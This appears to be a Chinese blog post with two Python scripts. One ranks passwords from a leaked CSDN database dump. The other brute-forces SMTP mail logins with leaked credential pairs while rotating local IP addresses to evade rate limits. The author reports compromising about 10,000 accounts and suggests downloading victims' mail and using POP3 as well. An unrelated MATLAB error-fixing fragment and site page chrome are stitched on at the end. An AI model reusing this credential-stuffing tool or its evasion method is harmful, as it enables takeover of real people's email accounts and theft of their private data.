Human Knowledge Belongs to The World!(题目与正文无关...)

    好吧,本来就是比较邪恶之物,看的懂的同学就看呗.手痒编辑了一下,高手请略过^_^

'''
@file: PswList_Csdn.py
@auth:     GaA.Ra
@date:   2011.12.23
@ver :   Python3.2
'''

g_ResultList = []

def AnalyzeData():
    global g_ResultList
    print(' [*] Begin to Analyze Password...')
    fileDB = open('www.youkuaiyun.com.sql', 'rb')
    analyzeResult = {}
    for dbRecord in fileDB:
        acountData = dbRecord.strip().split(b' # ')
        password = acountData[1]
        try:
            countPwd = analyzeResult[password]
            countPwd[0] += 1
            analyzeResult[password] = countPwd
        except KeyError:
            analyzeResult[password] = [1, password]

    g_ResultList = sorted(analyzeResult.values(), reverse = True)
    print(' [*] All Done...')
    
def SaveResult():
    global g_ResultList
    print(' [*] Begin to Save Result...')
    fileResult = open('PasswordList-Csdn.txt', 'w')
    for result in g_ResultList:
        try:
            if result[0] > 2:
                print(result[1].decode(), str(result[0]), file = fileResult)
        except UnicodeEncodeError:
            continue
        except UnicodeDecodeError:
            continue
    print(' [*] All Done...')

if __name__ == '__main__':
    AnalyzeData()
    SaveResult()


'''
@file:    MailSpider.py
@auth:       GaA.Ra
@date:     2011.12.23
@ver :     Python3.2

    For LinuxOS only, BackTrack5 Best
'''

import os
import sys
from os.path import isfile

from smtplib import SMTP
from smtplib import SMTPAuthenticationError as AuthError
from smtplib import SMTPConnectError as ConnError

g_WorkingPath  = os.getcwd()
g_ResultDBName = 'Result'
g_ResultCount  = 1
g_TryIndex     = 0
g_MailDBName   = 'Data'
g_MailDBList   = None
# not all mail site support smtp
g_MailServer   = 'smtp.xxx.com'

# using ur own gateway
g_GateWay = '192.168.1.1'
g_IPCount = 0
g_IPList  = []


def Init():
    global g_ResultDBName
    print(' MailSpider0.1 GaA.Ra ')
    if not isfile(g_ResultDBName):
        file = open(g_ResultDBName, 'w')
        file.close()
    GetIPList()
    GetMailDBList()
    
def PrintError(Message):
    print(' [!] ' + Message)

def PrintStatus(Message):
    print(' [*] ' + Message)
    
def ChangeIP(IP):
    global g_GateWay
    PrintStatus('Changing IP...' + IP)
    if g_GateWay == None:
        g_GateWay = input(' [*] GateWay: ')
    ret1 = os.system('ifconfig eth0 down')
    ret2 = os.system('ifconfig eth0 ' + IP + ' netmask 255.255.255.0 up')
    ret3 = os.system('route add default gw ' + g_GateWay)
    if ret1 !=0 or ret2 !=0 or ret3 != 0:
        PrintError('ChangeIP Error...')
    
def GetIP():
    global g_IPCount
    global g_IPList
    if g_IPCount < len(g_IPList):
        IP = g_IPList[g_IPCount].strip()
        g_IPCount += 1
        return IP
    else:
        PrintError('Out of ip address...')
        return None
    
def GetIPList():
    global g_GateWay
    ret = os.system('nmap -p 80 -PR ' + g_GateWay + '/24 | grep report > result.txt')
    if ret != 0:
        PrintError('Nmap Scan Error...')
    resultSet = set()
    scanResult = open('result.txt', 'r')
    for line in scanResult:
        line = line.strip()
        line = line.split(' ')[-1]
        line = line.split('.')[-1]
        resultSet.add(line)
    scanResult.close()
    os.system('rm result.txt')
    for x in range(1, 255):
        x = str(x)
        if x not in resultSet:
            x = g_GateWay[0:g_GateWay.rfind('.') + 1] + x
            g_IPList.append(x)
            
def GetMailDBList():
    global g_MailDBList
    global g_MailDBName
    mailDBFile = open(g_MailDBName, 'rb')
    g_MailDBList = mailDBFile.readlines()
    

def TryLogin(Index, User, Pass, ResultFile):
    global g_ResultCount
    global g_MailServer
    try:
        mailServer = SMTP(g_MailServer)
        print(' [*] Try Login: ',Index, User, Pass, end = '')
        mailServer.login(User, Pass)
        print(' --> Success...')
        print('%05d user: %s password: %s' % (g_ResultCount, User, Pass), file = ResultFile)
        mailServer.quit()
        return True
        
    except AuthError:
        print(' ')
        mailServer.quit()
        return False
    
    except KeyboardInterrupt:
        PrintStatus('User Exiting...')
        ResultFile.flush()
        ResultFile.close()
        sys.exit()

def MailSpider():
    global g_ResultDBName
    global g_MailDBName
    global g_ResultCount
    global g_MailDBList
    global g_TryIndex
    resultFile = open(g_ResultDBName, 'a')
        
    for tryIndex in range(0, len(g_MailDBList)):
        try:
            acountData = g_MailDBList[g_TryIndex].decode().strip().split(' ')
            userName = acountData[0]
            passWord = acountData[1]
            
        except IndexError:
            return True
        
        except UnicodeDecodeError:
            print('UnicodeDecodeError...Continue...')
            g_TryIndex += 1
            continue

        try:
            trySuccess = TryLogin(g_TryIndex, userName, passWord, resultFile)
            if trySuccess == True:
                g_ResultCount += 1
            else:
                pass
            g_TryIndex += 1
        
        except ConnError:
            resultFile.flush()
            resultFile.close()
            return False
    
    return True

def Run():
    Init()
    while True:
        IP = GetIP()
        if IP == None:
            break
        else:
            ChangeIP(IP)
            try:
                finish = MailSpider()
            except KeyboardInterrupt:
                return
            except:
                print('May be IP crash or Connect timeout...Continue...')
                
            if finish:
                PrintStatus('All Done...')
                return
             
        

if __name__ == '__main__':
    Run()

    PswList是统计弱密码的,出现3次以上的就记录下来.这个字典也算是有16w条.

    MailSpider切换IP对于拥有独立IP的同学来说比较方便,我是校园网,而且学校这边是独立IP,SO...切换IP主要是某些服务器会对IP连接的最大次数进行限制.

    nmap扫描主要是用ARP扫出所在网段的存活主机,grep得到存活主机所在的结果,过滤一下(利用set集合操作)得到可以切的IP,存起来.切IP用的是ifconfig和route两个命令.某数字邮箱服务器大概在700+次连接的时候会提示IP连接次数过多,拒绝连接请求,人肉测试大概受限期是1个小时左右(吃个饭回来看多一集好汉两个半就过去了- -)

    一天(12个小时),在实验室那边,网络时好时坏的,大概干了30000条数据,成功率大概是20%左右(好吧,我收集到大概10000条数据),觉得也就这样了,大家不要拿来做坏事啵.或许可以写个脚本把邮件都down下来本地然后进行数据挖掘.需要的只是时间而已.

    PS:除了SMTP协议,POP3协议都可以拿来XXX,不过POP3协议的速度比SMTP慢大概10倍(非精确值),聪明的同学你懂的^ ^



### MATLAB 中 DTGroup G12 报错解决方案 当遇到 `This result belongs to DTGroup G12` 的错误提示时,通常意味着当前操作试图访问或处理的数据属于特定的动态时间分组 (DTGroup),而该数据可能未被正确初始化或配置。 #### 1. 检查数据源和权限设置 确认用于读取或写入的数据文件具有正确的路径以及适当的读/写权限。如果涉及网络驱动器或其他外部存储设备,则需验证连接状态正常[^1]。 #### 2. 验证工具箱安装情况 确保已安装并激活所有必要的MATLAB 工具箱版本。某些功能模块可能会因为缺少相应支持包而导致此类异常行为发生。可以通过命令窗口输入 `ver` 来查看当前环境下的产品列表及其版本号[^2]。 #### 3. 更新至最新补丁级别 官方发布的更新往往包含了对各种潜在问题修复的支持。定期检查MathWorks官方网站获取最新的服务包和服务热修复程序,并按照说明完成升级过程[^3]。 #### 4. 调试代码逻辑结构 仔细审查引发此警告的具体语句上下文,特别是那些涉及到多线程编程或多进程间通信的部分。尝试简化测试案例来定位具体原因所在;必要时可借助内置调试工具逐步跟踪执行流程直至找到根本症结所在[^4]。 ```matlab % 示例:简单化后的代码片段供排查使用 try % 假设此处存在可能导致G12报错的操作 catch ME disp(['Error occurred: ',ME.message]); end ```
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值